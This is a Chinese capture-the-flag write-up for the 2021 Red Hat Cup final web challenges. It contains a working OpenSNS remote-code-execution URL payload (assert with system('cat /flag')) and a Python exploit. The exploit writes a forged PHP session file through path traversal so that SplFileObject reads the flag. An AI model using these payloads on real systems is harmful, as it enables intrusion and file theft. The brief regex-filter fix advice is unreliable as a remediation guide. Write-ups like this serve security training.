Web
opensns
看日志,日志里有一条可疑的payload
[ 2021-05-19T20:05:12+08:00 ] 127.0.0.1 /?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=a=phpinfo()%26id[0]=a
INFO: [ app_init ] --START--
打一下,发现出现phpinfo()
界面
改一下payload
/?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=a=system('cat /flag')%26id[0]=a
修复
随便加加正则过滤就行
upload
从这里我们可以控制初始化任意类
写文件的位置没有过滤,可以目录穿透,从phpinfo可以看到session文件的存放位置为/tmp
也就是说可以控制session文件
利用内置类SplFileObject
可以读文件,上传session文件即可控制$_SESSION
exp如下
import requests
url = "http://172.16.9.2:9004/"
cookie = {"PHPSESSID":"rayi"}
data = {"filename":"../../../../../../../../../../../tmp/sess_rayi","content":'''i|i:0;f|i:0;e|s:0:"";form|i:0;CmsCode|s:7:"refresh";time|i:1626097284;func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}'''}
web1 = requests.post(url,data=data,cookies=cookie)
web2 = requests.get(url,cookies=cookie)
print(web2.text)
修复
当时修的时候只发现了这里有个动态变量
于是就写死了,就check过了
本文始发于微信公众号(山警网络空间安全与电子数据取证):2021红帽杯决赛部分wp
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论